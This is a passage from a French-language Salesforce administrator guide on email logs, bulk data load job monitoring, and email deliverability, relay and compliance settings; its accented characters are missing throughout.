d'e-mails sont disponibles dans les 30 minutes qui suivent votre demande. Pour plus d'informations, reportez-vous
Demander un journal d'e-mails la page 334.
La liste des demandes de journal d'e-mails en attente indique le statut des demandes non termines. Le nombre de demandes
de journal en attente simultanes est limit trois.
La liste des erreurs de journal d'e-mails contient la description des demandes ayant chou.
-

Pour soumettre de nouveau une demande ayant chou, cliquez sur Soumettre de nouveau.
Pour supprimer une demande ayant chou, cliquez sur Suppr.
ATTENTION: Vous ne pouvez pas soumettre de nouveau une demande ayant chou si elle requiert des donnes
antrieures 30 jours ou si vous avez dj trois demandes en attente.

Pour tlcharger un journal d'e-mails, cliquez sur Tlchargement (.zip). Les journaux d'e-mails sont des fichiers CSV
qui contiennent un fichier compress. Les journaux sont pris en compte dans le calcul du volume total de stockage de
fichiers. Pour plus d'informations, reportez-vous Surveillance des ressources la page 218.
Pour supprimer un journal d'e-mails, cliquez sur Suppr.

Pour un rsum des informations renvoyes dans un journal d'e-mails, reportez-vous Affichage des journaux d'e-mails la
page 334.

Surveillance

Guide de l'utilisateur | Que sont les journaux d'e-mails ? | 334

Demande d'un journal d'e-mails

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour accder aux journaux d'e-mails :

Modifier toutes les donnes

Pour crer un journal d'e-mails pour votre organisation :

1. Cliquez sur Configuration Surveillance Fichiers journaux des e-mails.
2. Cliquez sur Demander un journal d'e-mails.
Le nombre de demandes de journal en attente simultanes est limit trois. Si vous avez dj trois demandes en attente,
vous ne pouvez pas demander un autre journal tant que l'une des demandes en attente n'est pas satisfaite.
3. Entrez une plage de Date de dbut et de Date de fin pour le journal d'e-mails que vous souhaitez rcuprer. Les
journaux d'e-mails sont disponibles pour les messages envoys dans les 30 derniers jours prcdant votre demande.
Remarque: Chaque journal d'e-mails peut s'tendre sur sept jours au maximum. Pour afficher les donnes de
journal d'e-mails sur une priode suprieure sept jours, crez plusieurs demandes.
4. Vous pouvez galement filtrer un journal d'e-mails afin qu'il enregistre uniquement les lignes contenant un nom de domaine
ou une adresse e-mail spcifique dans un champ tel que Destinataire ou En-tte ID du message. Pour saisir
plusieurs termes de filtrage, sparez chaque valeur par une virgule. Si vous laissez ce champ vide, le journal n'est pas filtr
et toutes les adresses e-mail correspondant la priode spcifie sont renvoyes.
5. Entrez les adresses e-mail auxquelles vous souhaitez tre notifi de la fin d'une demande de journal d'e-mails. Sparez
chaque adresse e-mail par une virgule.
Pour effacer une demande et revenir la page de prsentation des journaux d'e-mails, cliquez sur Annuler.

Voir aussi :
Affichage des journaux d'e-mails

Affichage des journaux d'e-mails

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour accder aux journaux d'e-mails :

Modifier toutes les donnes

Le tableau suivant prsente le format du fichier journal et des exemples de champ :

Surveillance

Guide de l'utilisateur | Que sont les journaux d'e-mails ? | 335

Colonne

Champ

Description

Exemple

Date/heure

Date et heure GMT

d'expdition du message

3/06/2009 13:37

ID de message interne ID interne unique du message 16/A4-20983-88E21E84

vnement

Indique le dernier vnement T

de messagerie dans le serveur
de messagerie. Les vnements
peuvent tre l'une des valeurs
suivantes :
R - Rception
L'e-mail a t reu avec
succs.
D - Livraison
L'e-mail a t envoy
avec succs.
T - chec transitoire
La transmission de
l'e-mail a t retarde.
Salesforce.com essaie de
livrer pendant une
priode de 24 heures. La
premire tentative
intervient cinq minutes
aprs le premier chec
transitoire, la deuxime
tentative dix minutes
aprs, la troisime
tentative vingt minutes
aprs, et ainsi de suite.
P - chec permanent
L'e-mail n'a pas pu tre
livr.

Destinataire

Adresse e-mail de la personne admin@acme.com

laquelle l'e-mail est envoy.

Expditeur

Adresse e-mail de la personne user@acme.com

qui a envoy l'e-mail.

Hte distant

Adresse IP du serveur
d'applications qui a livr
l'e-mail au serveur de
messagerie

10.0.0.1

Octets transfrs

Taille de l'e-mail

11856

Surveillance

Guide de l'utilisateur | Que sont les journaux d'e-mails ? | 336

Colonne

Champ

Description

Exemple

ID utilisateur

L'ID Salesforce.com de
l'utilisateur qui a envoy
l'e-mail

00540000000rSXT

En-tte ID du message En-tte ID au dbut de

chaque e-mail

Nombre de tentatives

Nombre de tentatives de
livraison de l'e-mail

Secondes dans la file Dlai d'attente en secondes

d'attente
avant la livraison de l'e-mail

tape de livraison

21749386.
106091224027705044.
JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net

11
300

Dernire tape de livraison

durant RCPT TO
avant sa consignation dans le
journal. Les valeurs des tapes
sont prsentes ci-dessous, par
ordre d'affichage durant une
squence SMTP :
BANNER
Rponse de connexion
SMTP
EHLO
Dbut de la session avec
le serveur de messagerie
STARTTLS
Etablit une connexion
scurise avec le serveur
de messagerie
MAIL FROM
Annonce l'expditeur de
l'e-mail
RCPT TO
Annonce le destinataire
de l'e-mail
DATA
Annonce que le texte qui
suit est le message
d'e-mail

Surveillance

Colonne

Guide de l'utilisateur | Que sont les journaux d'e-mails ? | 337

Champ

Description

Exemple

BODY
Statut lors de l'envoi au
destinataire du corps du
message
RSET
Rinitialise la statut du
serveur, mettant fin la
session
En outre, des rponses
peuvent s'afficher tout
moment durant une squence
de livraison :
hors connexion
Le client tente d'tablir
une connexion
inoccup
Le client s'est connect,
mais il n'envoie et ne
reoit aucune commande
confirmation de lecture
Une commande a t
envoye et le client
attend une rponse
TLS d'accus de
rception
Une erreur s'est produite
en tentant d'tablir une
connexion scurise
renvoi hors plage
Le serveur de rception a
accept une commande,
mais elle a t rejete
pour une raison inconnue
statut inconnu
Une erreur inconnue s'est
produite
M

Hte relais

Nom d'hte du systme de

relais dsign

relay.my.org

Port relais

Port du systme de relais

dsign

587

Surveillance

Guide de l'utilisateur | Que sont les journaux d'e-mails ? | 338

Colonne

Champ

Description

Notification de statut Aprs chaque tape de

421 aucun serveur
de livraison
livraison, un code de rponse adquat

trois chiffres est envoy

depuis le serveur de
messagerie. Le premier chiffre
indique si la commande a
russi ou non, le deuxime
indique le type d'erreur et le
troisime fournit des
informations supplmentaires
pour rsoudre le problme
potentiel.
Pour le premier chiffre, les
cinq valeurs possible sont :
1xx - Rponse

prliminaire positive
La commande a t
accepte, mais aucune
rponse n'a t envoye
2xx - Rponse

d'excution positive
L'action demande a t
excute avec succs
3xx - Rponse

intermdiaire positive
La commande a t
accepte, mais l'action
demande ncessite
davantage d'informations
4xx - Rponse

d'excution ngative
transitoire
La commande n'a pas t
accepte et l'action
demande n'a pas t
excute. Cependant, la
condition d'erreur est
temporaire et l'action
peut demande de
nouveau.
5xx - Rponse

d'excution ngative
permanente

Exemple

Surveillance

Guide de l'utilisateur | Surveillance des tches de chargement de donnes en masse | 339

Colonne

Champ

Description

Exemple

La commande n'a pas t

accepte et l'action
demande n'a pas t
excute
Chaque fournisseur de services
de messagerie implmente les
codes de faon diffrente. Par
consquent, aucune liste
exhaustive n'existe pour les
deuxime et troisime chiffres.
Pour plus d'informations sur
ces codes, reportez-vous la
documentation SMTP
officielle, section 4.2.1 : http://
www.ietf.org/rfc/rfc2821.txt
?number=2821

Voir aussi :
Que sont les journaux d'e-mails ?

Surveillance des tches de chargement de donnes en

masse
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour surveiller les tches de chargement de donnes en masse Grer les intgrations de donnes
:

Vous pouvez crer et mettre jour un ensemble de donnes important l'aide de l'l'API en massequi est optimis pour le
traitement de gros volumes de donnes. Il simplifie le chargement ou la mise jour de donnes depuis quelques milliers jusqu'
des millions d'enregistrements. Le traitement d'un nombre important d'enregistrements prend prendre du temps. Cette page
permet de suivre la progression de tches en cours et les rsultats de tches rcentes.
Traitez un ensemble d'enregistrements en crant une tche qui contient un ou plusieurs lots. La tche indique l'objet en cours
de traitement (par exemple, Compte, Opportunit) et le type d'action utilis (insrer, mettre jour/insrer ou mettre jour).
Un lot est un ensemble d'enregistrements envoy au serveur dans une requte HTTP POST. Chaque lot est trait
indpendamment par le serveur, pas ncessairement dans l'ordre de rception.

Surveillance

Guide de l'utilisateur | Surveillance des tches de chargement de donnes en masse | 340

Pour suivre le statut des tches de chargement des donnes en masse, en cours d'excution ou rcemment termines, cliquez
sur Configuration Surveillance Tches de chargement des donnes en masse.
La liste Tches en cours contient les colonnes suivantes, par ordre alphabtique :
Colonne

Description

ID de tche

ID unique de 15 caractres de cette tche.

Objet

Type d'objet des donnes en cours de traitement. Toutes les donnes de la tche doivent correspondre
un seul type.

Opration

Opration de traitement de tous les lots de la tche. Les valeurs correctes sont les suivantes :
insrer
upsert (mettre jour/insrer)
mettre jour

Progression

Pourcentage de lots traits par rapport au nombre total de lots soumis. La progression n'est pas indique
l'ouverture de la tche car le nombre total de lots dans la tche n'est connu qu' sa clture. La progression
peut ne pas reflter avec prcision le nombre d'enregistrements traits. Les lots peuvent ne pas tous contenir
le mme nombre d'enregistrements et peuvent tre traits des vitesses diffrentes.

Enregistrements Nombre d'enregistrements dj traits. Cette valeur augmente mesure que les lots sont traits.
traits
Heure de
dbut

Date et heure de soumission de la tche.

Statut

Statut actuel du traitement de la tche. Les valeurs correctes sont les suivantes :
En cours : la tche a t cre et des lots peuvent lui tre ajouts.
Cltur : aucun lot ne peut tre ajout cette tche. Les lots associs la tche peuvent tre traits
une fois la tche cloture. Vous ne pouvez pas modifier ni enregistrer une tche cloture.
Abandonn : la tche a t arrte.
Echec : la tche a chou. Les lots traits avec succs par la tche ne peuvent pas tre restaurs.

Soumis par

Nom de l'utilisateur qui a soumis la tche.

La liste Tches termines contient les colonnes suivantes, par ordre alphabtique : Les tches termins sont retires de la liste
sept jours aprs leur excution.
Colonne

Description

Heure de fin Date et heure d'achvement de la tche.

ID de tche

ID unique de 15 caractres de cette tche.

Objet

Type d'objet des donnes en cours de traitement. Toutes les donnes de la tche doivent correspondre
un seul type.

Opration

Opration de traitement de tous les lots de la tche. Les valeurs correctes sont les suivantes :
insrer
upsert (mettre jour/insrer)

Surveillance

Guide de l'utilisateur | Surveillance des tches de chargement de donnes en masse | 341

Colonne

Description

mettre jour

Enregistrements Nombre d'enregistrements dj traits. Cette valeur augmente mesure que les lots sont traits.
traits
Heure de
dbut

Date et heure de soumission de la tche.

Statut

Statut actuel du traitement de la tche. Les valeurs correctes sont les suivantes :
En cours : la tche a t cre et des lots peuvent lui tre ajouts.
Cltur : aucun lot ne peut tre ajout cette tche. Les lots associs la tche peuvent tre traits
une fois la tche cloture. Vous ne pouvez pas modifier ni enregistrer une tche cloture.
Abandonn : la tche a t arrte.
Echec : la tche a chou. Les lots traits avec succs par la tche ne peuvent pas tre restaurs.

Soumis par

Nom de l'utilisateur qui a soumis la tche.

Dure
d'excution

Dure totale requise pour raliser la tche.

Voir aussi :
Affichage des dtails des tches de chargement de donnes en masse

Affichage des dtails des tches de chargement de donnes en masse

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour surveiller les tches de chargement de donnes en masse Grer les intgrations de donnes
:

Vous pouvez crer et mettre jour un ensemble de donnes important l'aide de l'l'API en massequi est optimis pour le
traitement de gros volumes de donnes. Il simplifie le chargement ou la mise jour de donnes depuis quelques milliers jusqu'
des millions d'enregistrements. Le traitement d'un nombre important d'enregistrements prend prendre du temps. Cette page
permet de suivre la progression de tches en cours et les rsultats de tches rcentes.
Pour afficher les dtails d'une tche de chargement de donnes en masse :
1. Cliquez sur Configuration Surveillance Tches de chargement de donnes en masse.
2. Cliquez sur un lien ID de tche d'une tche.
La page de dtails de la tche prsente les champs suivants, classs par ordre alphabtique :

Surveillance

Guide de l'utilisateur | Surveillance des tches de chargement de donnes en masse | 342

Champ

Description

Version API

La version API de la tche.

Lots
termins

Nombre de lots qui sont termins pour cette tche.

Mode
concurrent

Mode concurrent pour le traitement des lots. Les valeurs correctes sont les suivantes :
parallle : les lots sont traits en mode parallle. Il s'agit de le valeur par dfaut.
srie : les lots sont traits en mode srie.

Type de
contenu

Le type de contenu de la tche. Les valeurs correctes sont les suivantes :

CSV
XML (option par dfaut)

Heure de fin Date et heure d'achvement de la tche.

Champ ID
externe

Nom du champ ID externe pour une opration d'insertion et de mise jour

Lots chous Nombre de lots qui ont chou pour cette tche.
ID de tche

ID unique de 15 caractres de cette tche.

Lots en
cours

Nombre de lots qui sont en cours pour cette tche.

Objet

Type d'objet des donnes en cours de traitement. Toutes les donnes de la tche doivent correspondre
un seul type.

Opration

Opration de traitement de tous les lots de la tche. Les valeurs correctes sont les suivantes :
insrer
upsert (mettre jour/insrer)
mettre jour

Progression

Pourcentage de lots traits par rapport au nombre total de lots soumis. La progression n'est pas indique
l'ouverture de la tche car le nombre total de lots dans la tche n'est connu qu' sa clture. La progression
peut ne pas reflter avec prcision le nombre d'enregistrements traits. Les lots peuvent ne pas tous contenir
le mme nombre d'enregistrements et peuvent tre traits des vitesses diffrentes.

Lots en file Nombre de lots placs en file d'attente pour cette tche.
d'attente
Enregistrements Nombre d'enregistrements dj traits lors de l'envoi de la requte. Cette valeur augmente mesure que
traits
les lots sont traits.
Nouvelles
tentatives

Nombre de tentatives effectues par Salesforce.com pour enregistrer les rsultats d'une opration. Les
tentatives rptes sont dues un problme, tel qu'un conflit de verrouillage.

Heure de
dbut

Date et heure de soumission de la tche.

Statut

Statut actuel du traitement de la tche. Les valeurs correctes sont les suivantes :
En cours : la tche a t cre et des lots peuvent lui tre ajouts.

Surveillance

Guide de l'utilisateur | Surveillance des tches de chargement de donnes en masse | 343

Champ

Description

Cltur : aucun lot ne peut tre ajout cette tche. Les lots associs la tche peuvent tre traits

une fois la tche cloture. Vous ne pouvez pas modifier ni enregistrer une tche cloture.
Abandonn : la tche a t arrte.
Echec : la tche a chou. Les lots traits avec succs par la tche ne peuvent pas tre restaurs.

Soumis par

Nom de l'utilisateur qui a soumis la tche.

Dure
d'excution

Dure totale requise pour raliser la tche.

Voir aussi :
Surveillance des tches de chargement de donnes en masse

Administration des e-mails

Configuration des paramtres de livraison
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour configurer la livraison des e-mails :

Personnaliser l'application

Pour amliorer la livraison des e-mails que vous envoyez depuis Salesforce.com, configurez les paramtres de livraison des
e-mails de votre organisation. La livraison (ou dlivrabilit) des e-mails contrle la probabilit que les e-mails transmis par
une socit ou un individu atteignent leur destinataire. Cette probabilit est affecte par les lments suivants :
E-mail renvoy
E-mail adress un destinataire individuel et renvoy l'expditeur. Si un expditeur transmet plusieurs e-mails qui sont
renvoys, le serveur de messagerie peut ralentir, voire bloquer la livraison de tous les e-mails provenant de cet expditeur.
E-mail non conforme
E-mail qui n'est pas conforme la stratgie de scurit de messagerie d'un destinataire, telle que SPF (Sender Policy
Framework) qui vrifie l'authenticit de l'adresse du champ De d'un message.
ATTENTION: Si vous envisager d'activer la fois la gestion des renvois et le relais d'e-mails, vrifiez avec votre
administrateur de messagerie lectronique que le serveur de messagerie de votre organisation autorise le relais d'e-mails
envoys depuis salesforce.com. Dans le cas contraire, les e-mails que vous envoyez depuis Salesforce.com risquent de
ne pas tre transmis. Pour plus d'informations sur le relais d'e-mails, reportez-vous Configuration du relais d'e-mails
la page 348.
Pour configurer les paramtres de livraison des e-mails pour votre organisation :
1. Cliquez sur Configuration Administration des e-mails Livraison.
2. Cochez la case Activer la gestion des renvois pour vous assurer que les adresses e-mail dont vous disposez pour
vos contacts, pistes et comptes personnels sont correctes et que les e-mails envoys par vos utilisateurs ces adresses ne
sont pas arrts en raison d'un nombre excessif de renvois.
Lorsque la gestion des renvois est active et qu'un utilisateur envoie un e-mail un contact, une piste ou un compte personnel
avec une adresse e-mail non valide, Salesforce.com affiche une alerte en regard de cette adresse e-mail et empche les
utilisateurs d'envoyer des e-mails cette adresse tant qu'elle ne sera pas mise jour ou confirme. De plus, l'e-mail est
renvoy Salesforce.com et non au compte de messagerie personnel de l'expditeur.
Conseil: Utilisez les rapports standard Contacts renvoys et Pistes renvoyes pour afficher la liste des adresses
e-mail qui ont renvoy des messages. Le rapport comprend le motif du renvoi de l'e-mail, la date du renvoi et le
contact, la piste ou le compte personnel qui a renvoy l'e-mail. Pour plus d'informations, reportez-vous Prsentation
des rapports la page 1677.
3. Cochez la case Afficher l'alerte de renvoi en regard de toutes les instances de l'adresse
e-mail afin de configurer Salesforce.com pour rechercher tous les enregistrements de piste, de contact et de compte

Administration des e-mails

Guide de l'utilisateur | Configuration des paramtres de livraison | 345

personnel des instances de chaque adresse e-mail qui renvoie un message et pour afficher une alerte de renvoi en regard de
chaque instance. Si vous ne slectionnez pas cette option, Salesforce.com affiche uniquement l'alerte de renvoi dans
l'enregistrement partir duquel l'e-mail a t envoy.
4. Cochez la case Retourner les e-mails renvoys l'expditeur afin de configurer Salesforce.com pour
transmettre l'expditeur une copie de l'en-tte du message renvoy. Si vous ne slectionnez pas cette option, seul
Salesforce.com reoit l'en-tte de l'e-mail renvoy. Dans tous les cas, pour des raisons de scurit Salesforce.com ne transmet
pas l'expditeur le corps de l'e-mail renvoy.
Cette option s'applique tous les utilisateurs de votre organisation et ne peut pas tre active individuellement pour un
utilisateur ou une adresse e-mail.
5. Cochez la case Activer la conformit sans dispositif standard de scurit de la messagerie
pour modifier automatiquement l'adresse du champ De de l'enveloppe de chaque e-mail que vous envoyez depuis
Salesforce.com afin d'tre conforme aux stratgies de scurit de messagerie, telles que SPF, que vos destinataires peuvent
mettre en oeuvre.
De nombreux systmes de messagerie de destinataires forcent SPF vrifier la lgitimit d'un e-mail. SPF vrifie l'adresse
du champ De de l'enveloppe d'un e-mail entrant pour vrifier sa lgitimit. Si cette fonctionnalit est active, Salesforce.com
modifie l'adresse du champ De de l'enveloppe en adresse e-mail salesforce.com pour vrifier la lgitimit de l'expditeur.
L'adresse du champ De de l'en-tte reste dfini dans l'adresse e-mail de l'expditeur.
Remarque: Pour plus d'informations sur SPF, visitez le site www.openspf.org.

6. Cochez la case Activer la conformit Sender ID pour tre conforme la stratgie Sender ID. Le champ
Expditeur de l'enveloppe de chaque e-mail que vous envoyez depuis Salesforce.com sera automatiquement renseign
avec no-reply@salesforce.com. Les serveurs de messagerie entrante qui utilisent le protocole d'authentification de
messagerie Sender ID peuvent ainsi vrifier l'expditeur d'un e-mail en examinant les en-ttes Expditeur et De d'un
e-mail entrant via une recherche DNS. Toutes les rponses continuent d'tre livres l'adresse e-mail de l'expditeur. Si
vous ne cochez pas cette case, le champ Expditeur est dfini null et la livraison de l'e-mail choue si le systme de
messagerie d'un destinataire excute une vrification Sender ID.
Remarque:

Salesforce.com recommande vivement d'activer la conformit Sender ID. Elle est active par dfaut.
Si vous activez la conformit Sender ID, le client de messagerie de l'expditeur peut ajouter la phrase Envoy
de la part de au champ De d'un e-mail reu depuis Salesforce.com.
Pour plus d'informations sur Sender ID, visitez le site
www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

7. Si vous souhaitez que Salesforce.com envoie un e-mail de statut aux utilisateurs une fois leurs e-mails en masse termins,
slectionnez Notifier l'expditeur une fois l'envoi d'e-mails en masse termin.
8. Pour spcifier comment Salesforce.com utilise le protocole Transport Layer Security (TLS) pour les communications par
e-mail scurises avec les sessions SMTP, slectionnez l'une des options suivantes :

Prfr (par dfaut) : Si le serveur distant dispose de l'option TLS, Salesforce.com met niveau la session SMTP en

cours afin de permettre l'utilisation du protocole TLS. Si le protocole TLS n'est pas disponible, Salesforce.com poursuit
la session sans lui.
Obligatoire : Salesforce.com poursuit la session uniquement si le serveur distant dispose du protocole TLS. Si le
protocole TLS n'est pas disponible, Salesforce.com met fin la session sans transmettre l'e-mail.

Administration des e-mails

Guide de l'utilisateur | Activation des messages Cci de conformit | 346

Vrification des prfrences : Si le serveur distant dispose de l'option TLS, Salesforce.com met niveau la

session SMTP en cours afin de permettre l'utilisation du protocole TLS. Avant l'initialisation de la session, Salesforce.com
vrifie que le certificat est sign par une autorit de certification valide et que le nom prsent sur le certificat correspond
au domaine ou au serveur de messagerie de la connexion actuelle. Si le protocole TLS est disponible mais que le certificat
n'est pas sign ou que le nom ne correspond pas, Salesforce.com dconnecte la session et ne livre l'e-mail. Si le protocole
TLS n'est pas disponible, Salesforce.com poursuit la session sans lui.
Vrification des lments obligatoires : Salesforce.com ne poursuit la session que si le serveur distant
propose le protocole TLS, que le certificat a t sign par une autorit de certification valide et que le nom indiqu sur
le certificat correspond au domaine ou au serveur de messagerie auquel Salesforce.com est connect. Si l'un de ces
critres n'est pas respect, Salesforce.com met fin la session sans transmettre l'e-mail.
Remarque: Si vous slectionnez un paramtre autre que Prfr (paramtre par dfaut), slectionnez
Restreindre le paramtre TLS ces domaines et spcifiez une liste de domaines spars par des
virgules. Le caractre gnrique astrisque (*) est autoris, par exemple *.sous-domaines.com correspond
alain@aco.sous-domaines.com et alain@bco.sous-domaines.com (mais pas alain@sous-domaines.com). Si vous
ne spcifiez pas de domaine, Salesforce.com utilise le paramtre TLS que vous avez spcifiez pour tous les e-mails
sortants, au risque de ne pas livrer tous les e-mails.

9. Cliquez sur Enregistrer.

Voir aussi :
Envoi d'e-mails
Activation des messages Cci de conformit
Configuration de la fonction de relais de messagerie
Test de la livraison

Activation des messages Cci de conformit

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer ou dsactiver les messages Cci de conformit :

Autorisation de personnalisation de l'application

Si votre organisation value la conformit de tous les messages lectroniques sortants, vous pouvez activer la fonction concernant
les messages Cci de conformit pour automatiser l'envoi d'une copie cache de chaque message sortant une adresse e-mail
que vous spcifiez. L'activation des messages Cci de conformit empche les utilisateurs de modifier le champ Cci des messages
et dsactive le paramtre Cci automatique sous Paramtres de mon message.
Pour activer les messages Cci de conformit pour votre entreprise :
1.
2.
3.
4.

Cliquez sur Configuration Administration des e-mails Message Cci de conformit.

Cochez la case Activer.
Entrez votre adresse e-mail de conformit.
Cliquez sur Enregistrer.

Administration des e-mails

Guide de l'utilisateur | Test de la livraison | 347

Remarque: L'e-mail Cci est envoye automatiquement l'adresse que vous spcifiez pour les messages envoys par
les utilisateurs, l'exclusion des messages systme, tels que les notifications de rinitialisation des mots de passe ou de
fin de l'importation.

Voir aussi :
Configuration des paramtres de livraison
Configuration de la fonction de relais de messagerie
Test de la livraison

Test de la livraison
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour tester la dlivrabilit des e-mails :

Modifier toutes les donnes

Salesforce.com envoie un e-mail depuis 34 adresses IP diffrentes. Si votre entreprise bloque certaines de ces adresses IP, les
utilisateurs risquent de ne pas recevoir tous les e-mails envoys par Salesforce.com.
Pour vrifier si votre organisation peut recevoir un e-mail depuis chaque adresse IP Salesforce.com :
1. Cliquez sur Configuration Configuration de ladministration Administration des e-mails Tester la dlivrabilit.
2. Entrez votre adresse e-mail professionnelle.
3. Cliquez sur Envoyer. Salesforce.com envoie simultanment un message test partir des 34 adresses IP vers votre adresse
e-mail professionnelle. Chaque message test spcifie l'adresse IP depuis laquelle il a t envoy.
4. Vrifiez votre compte e-mail professionnel pour vous assurer qu'il a reu les 34 messages tests.
Si vous avez reu moins de 34 messages, l'administrateur de la messagerie de votre entreprise doit placer la plage d'adresses IP
de Salesforce.com sur une liste blanche sur le serveur de messagerie de votre entreprise. Le fait de placer une adresse IP sur
une liste blanche permet au serveur de messagerie de recevoir les e-mails provenant d'une adresse IP qui pourrait tre bloque
en d'autres circonstances. Les plages IP de Salesforce.com sont les suivantes :

202.129.242.64 202.129.242.65
204.14.232.64 204.14.232.79
204.14.234.64 204.14.234.79
Remarque: Si votre entreprise active le relais d'e-mail, votre administrateur systme doit simplement placer sur liste
blanche les adresses IP utilises par Salesforce.com pour le relais des e-mails (202.129.242.65, 204.14.232.65 et
204.14.234.65). Pour plus d'informations sur le relais d'e-mails, voir Configuration du relais d'e-mails la page 348.

Voir aussi :
Configuration des paramtres de livraison
Activation des messages Cci de conformit

Administration des e-mails

Guide de l'utilisateur | Configuration de la fonction de relais de messagerie | 348

Configuration de la fonction de relais de messagerie

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le relais de messagerie :

Modifier toutes les donnes

Le relais de messagerie utilise un serveur de messagerie pour l'envoi des messages qui ne se trouvent pas sur le serveur. Les
entreprises configurent la fonction de relais de messagerie pour effectuer les oprations suivantes :

Transfrer tous les messages via leurs propres serveurs de messagerie afin d'viter un quelconque spoofing utilisant l'identit
de Salesforce.com. Le spoofing consiste falsifier l'intitul des messages afin de faire en sorte que celui-ci semble provenir
d'une autre personne.
Conserver une copie de tous les e-mails conformment la lgislation en vigueur dans diffrents secteurs.
Appliquer des filtres de contenu afin d'analyser les messages la recherche de donnes et de contenu interdits par la socit.
Raliser l'analyse antivirus des messages sortants l'aide d'un logiciel spcifique.
Ajouter au bas des messages une clause de non-responsabilit adopte l'chelle de l'entreprise.

Vous pouvez configurer une fonction de relais de messagerie pour les e-mails envoys par Salesforce.com en paramtrant
Salesforce.com afin qu'il achemine automatiquement les messages via le serveur SMTP de votre socit. Contactez salesforce.com
pour activer le relais de messagerie pour votre entreprise.
ATTENTION: Si vous envisager d'activer la fois la gestion des renvois et le relais d'e-mails, vrifiez avec votre
administrateur de messagerie lectronique que le serveur de messagerie de votre organisation autorise le relais d'e-mails
envoys depuis salesforce.com. Dans le cas contraire, les e-mails que vous envoyez depuis Salesforce.com risquent de
ne pas tre transmis. Pour plus d'informations sur la gestion des renvois, reportez-vous Configuration des paramtres
de livraison la page 344.
Pour configurer le relais de messagerie :
1. Cliquez sur Configuration Administration des e-mails Activation du relais de messagerie.
2. Configurez les paramtres suivants :
Paramtre

Description

Hte de messagerie

Nom d'hte ou adresse IP du serveur SMTP de votre socit.

Contactez votre administrateur de messagerie pour obtenir
ces informations.
Important: Si vous prvoyez d'utiliser le
protocole TLS (Transport Layer Security) avec cette
connexion, entrez le nom d'hte plutt que
l'adresse IP. Le protocole TLS ncessite le nom
d'hte pour la vrification des certificats.

Administration des e-mails

Paramtre

Guide de l'utilisateur | Configuration de la fonction de relais de messagerie | 349

Description
Pour les noms d'hte, utilisez le format suivant :
<serveur de
messagerie>.<domaine>.<extension de
domaine>

Par exemple :
mail.acme.com

Port

Numro de port du serveur SMTP de votre socit.

Contactez votre administrateur de messagerie pour obtenir
ces informations.

Paramtre TLS

Indique si Salesforce.com utilise TLS pour les sessions

SMTP. Slectionnez l'une des options suivantes :
Prfr (par dfaut) : Si le serveur distant dispose de
l'option TLS, Salesforce.com met niveau la session
SMTP en cours afin de permettre l'utilisation du
protocole TLS. Si le protocole TLS n'est pas disponible,
Salesforce.com poursuit la session sans lui.
Obligatoire : Salesforce.com poursuit la session
uniquement si le serveur distant dispose du protocole
TLS. Si le protocole TLS n'est pas disponible,
Salesforce.com met fin la session sans transmettre
l'e-mail.
Vrification des prfrences : Si le serveur
distant dispose de l'option TLS, Salesforce.com met
niveau la session SMTP en cours afin de permettre
l'utilisation du protocole TLS. Avant l'initialisation de
la session, Salesforce.com vrifie que le certificat est sign
par une autorit de certification valide et que le nom
prsent sur le certificat correspond au domaine ou au
serveur de messagerie de la connexion actuelle. Si le
protocole TLS est disponible mais que le certificat n'est
pas sign ou que le nom ne correspond pas,
Salesforce.com dconnecte la session et ne livre l'e-mail.
Si le protocole TLS n'est pas disponible, Salesforce.com
poursuit la session sans lui.
Vrification des lments obligatoires :
Salesforce.com ne poursuit la session que si le serveur
distant propose le protocole TLS, que le certificat a t
sign par une autorit de certification valide et que le
nom indiqu sur le certificat correspond au domaine ou
au serveur de messagerie auquel Salesforce.com est
connect. Si l'un de ces critres n'est pas respect,

Administration des e-mails

Guide de l'utilisateur | Adresses l'chelle de l'organisation | 350

Paramtre

Description
Salesforce.com met fin la session sans transmettre
l'e-mail.

Restreindre le relais aux domaines

Indique s'il convient de limiter la fonction de relais de

messagerie certains domaines. Si vous slectionnez cette
option, entrez le nom de ces domaines dans le champ texte
en dessous en les sparant par des virgules. (Le caractre
gnrique astrisque (*) est autoris, par exemple
*.sous-domaines.com correspond
alain@aco.sous-domaines.com et
alain@bco.sous-domaines.com (mais pas
alain@sous-domaines.com). Salesforce.com peut ainsi
transfrer le message vers le serveur SMTP de votre socit
uniquement si l'e-mail est adress l'un des domaines
rpertoris. Si vous cochez la case mais n'indiquez aucun
domaine, Salesforce.com transfre tous les e-mails vers le
serveur SMTP de votre socit.

Actif

Active le relais de messagerie pour votre entreprise. Si vous

dslectionnez cette case, Salesforce.com conserve les
paramtres du relais de messagerie sans transfrer les e-mails
vers le serveur de messagerie de votre socit.

3. Cliquez sur Enregistrer.

Salesforce.com recommande l'envoi d'un message test lors de chaque modification des paramtres du relais de messagerie.

Voir aussi :
Configuration des paramtres de livraison
Activation des messages Cci de conformit
Test de la livraison

Adresses l'chelle de l'organisation

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour configurer les adresses l'chelle de l'organisation :

Modifier toutes les donnes

Si votre organisation ncessite que les utilisateurs partagent un alias d'e-mail commun, vous pouvez dfinir une liste d'adresses
l'chelle de l'organisation pour chaque profil utilisateur. Les adresses l'chelle de l'organisation dfinissent une adresse e-mail

Administration des e-mails

Guide de l'utilisateur | Dfinition d'adresses l'chelle de l'organisation | 351

commune qu'un profil utilisateur peut utiliser. Lors de l'envoi d'un e-mail depuis Salesforce.com, les utilisateurs avec ce profil
peuvent slectionner dans le champ De une adresse diffrente de celle qu'ils ont dfinie. Les rponses sont envoyes l'adresse
chelle de l'organisation.
Par exemple, supposons que votre organisation contienne plusieurs utilisateurs sous un profil Support unique. Un profil Support
peut tre associ une adresse e-mail appele support@acme.com et un Nom complet Support Acme. Lorsque les
utilisateurs du profil Support envoient un e-mail sortant via Salesforce.com, ils peuvent d'afficher l'adresse de leur champ De
en tant que support@acme.com la place de leur propre adresse e-mail Salesforce.com.
